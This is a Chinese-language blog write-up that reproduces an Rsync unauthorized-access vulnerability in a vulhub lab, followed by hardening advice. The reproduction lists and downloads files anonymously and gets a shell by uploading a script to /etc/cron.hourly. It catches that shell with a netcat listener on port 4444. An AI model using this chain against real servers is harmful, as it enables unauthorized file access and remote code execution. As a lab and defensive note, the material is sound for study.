你也一定是某个人翘首以盼的惊喜!
最近在渗透环境中有遇到Rsync
端口开放的,所以刚好也来复现下这个漏洞,亦当记录笔记:
0x00 漏洞介绍
Rsync
是Linux
下一款数据备份工具,支持通过rsync
协议、ssh
协议进行远程文件传输。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员。其中rsync
协议默认监听873
端口,而一般开发人员安全意识薄弱的情况下,如果目标开启了rsync
服务,并且没有配置ACL
或访问密码,我们将可以读写目标服务器文件。
0x01 环境搭建
环境搭建我依然用vulhub
,简直太好了!
同样我们进入到/vulhub-master/rsync/common
目录下,编译及运行rsync
服务器:
1 | docker-compose build |
但在编译的时候有报错
解决:在Dockerfile
文件中add
这一行
1 | RUN printf "deb http://archive.debian.org/debian/ jessie main\ndeb-src http://archive.debian.org/debian/ jessie main\ndeb http://security.debian.org jessie/updates main\ndeb-src http://security.debian.org jessie/updates main" > /etc/apt/sources.list |
接着我们继续来看看rsync
的常用命令:
1 | 列举整个同步目录或指定目录: |
0x02 漏洞复现
nmap
先扫一波:
1 | rsync rsync://your-ip:873/ |
1 | 我们可以下载任意文件: |
提权:
写入shell
并赋权:
1 | #!/bin/bash |
将shell
上传至/etc/cron.hourly
:
1 | rsync -av shell rsync://192.168.91.130/src/etc/cron.hourly |
本地监听:
1 | nc -nvv -lp 4444 |
0x03 防范与总结
这种未授权访问漏洞,一般都是在配置的时候,未能实现安全配置或权限认证而导致的,所以我们先来看看rsync
的文件配置与认证方式。rsync
的默认配置文件为/etc/rsyncd.conf
,常驻模式启动命令的rsync -daemon
,启动成功后默认监听于TCP端口873,可通过rsync
的守护及SSH两种方式进行认证。
我们来看下含有漏洞的rsync
的文件的配置
rsync
默认允许匿名访问,也可在其配置文件中为同步目录添加用户认证相关项,包括认证文件及授权账号,若未包含授权账号行(auth users
),则为匿名访问。所以问题就出在这。
我们来看下配置文件:
1 | 配置文件位置:/etc/rsync.conf,常见配置项 |
漏洞修复:
- 正确配置认证用户名或者密码
- 使用足够但最小权限
host allow/deny
来控制接入源IP- 可以配置只读
- 非必要应该仅限制配置路径下可访问
0x04 参考
【1】https://github.com/vulhub/vulhub/tree/master/rsync/common
【3】https://blog.csdn.net/qq_36374896/article/details/84143428